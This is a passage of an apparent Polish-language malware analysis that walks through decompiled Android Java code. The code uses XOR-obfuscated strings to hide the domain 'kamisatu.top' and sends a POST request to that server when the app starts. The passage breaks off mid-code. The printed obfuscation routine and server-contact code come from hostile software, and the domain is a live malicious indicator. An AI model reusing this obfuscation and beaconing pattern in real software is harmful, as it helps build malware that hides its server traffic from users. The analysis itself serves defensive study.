&lt;p&gt;Po inicjalizacji metody &lt;code&gt;onCreate()&lt;/code&gt; następuje szereg działań, między innymi tworzenie interfejsu dla użytkownika. Nas jednak interesują konkretne dwie linijki:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;NetConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;103&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;103&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;})).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;Network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;net&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Funkcja &lt;code&gt;AbstractC1835n.m226m&lt;/code&gt; ma za zadanie zaciemnienie kodu, obfuskując kluczowe ciągi znaków. Stosuje ona operację XOR na tablicach bajtów w celu odszyfrowania danych: &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;length2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bArr2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i2&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;length2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;i2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;bArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;i2&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;StandardCharsets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po odszyfrowaniu danego ciągu znaku otrzymujemy domenę &lt;code&gt;kamisatu.top&lt;/code&gt;. Następnie aplikacja inicjalizuje funkcję &lt;code&gt;Netowrk.init()&lt;/code&gt; w celu przechowania domeny w zmiennej &lt;code&gt;NetConfig&lt;/code&gt; klasy &lt;code&gt;Network&lt;/code&gt;. W kolejnym kroku program wykonuje funkcje &lt;code&gt;Network.net()&lt;/code&gt;, której implementacja wygląda następująco:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;net&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;PostFormTask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;LoadingCallback&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; 
            &lt;span class="nd"&gt;@Override&lt;/span&gt; 
            &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onSuccess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; 
            &lt;span class="nd"&gt;@Override&lt;/span&gt; 
            &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getApi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;89&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;118&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}.&lt;/span&gt;&lt;span class="na"&gt;exe&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Klasa &lt;code&gt;PostFormTask&lt;/code&gt;, obsługuje konstrukcję i wykonanie żądania sieciowego:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;abstract&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PostFormTask&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;BaseTask&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;EntityType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;PostFormTask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RequestCallback&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;EntityType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;requestCallback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;requestCallback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RequestType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;POST_FORM&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;RequestType.POST_FORM&lt;/code&gt; Określa, że jest to żądanie POST. Klasa &lt;code&gt;BaseTask&lt;/code&gt; jest odpowiedzialna za konstruowanie rzeczywistego żądania sieciowego. Konfiguracja żądania jest zaimplementowana w funkcji &lt;code&gt;BaseTask.doTask()&lt;/code&gt;, która jest wywoływana po wywołaniu funkcji &lt;code&gt;exe()&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;InterfaceC0394j&lt;/span&gt; &lt;span class="nf"&gt;doTask&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;transformUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;transformUrl&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
    &lt;span class="n"&gt;C0371I&lt;/span&gt; &lt;span class="n"&gt;c0371i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0371I&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mRequestType&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;RequestType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;POST_FORM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;c0371i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m3305d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;transformUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;AbstractC0376N&lt;/span&gt; &lt;span class="n"&gt;buildPostForm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ParamsBuilder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;buildPostForm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mParamsMap&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;c0371i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m3306c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buildPostForm&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;ParamsBuilder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;buildHeaders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c0371i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mHeaders&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;c0371i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m3308a&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;transformUrl()&lt;/code&gt;: przekształca ścieżkę API (/setting/scenery), potencjalnie dołączając wszelkie niezbędne parametry lub stosując szyfrowanie/deszyfrowanie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;transformUrl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;NetConfig&lt;/span&gt; &lt;span class="n"&gt;netConfig&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getApi&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;TextUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;69&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="p"&gt;}))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;netConfig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sConfig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;TextUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;netConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;126&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;117&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span 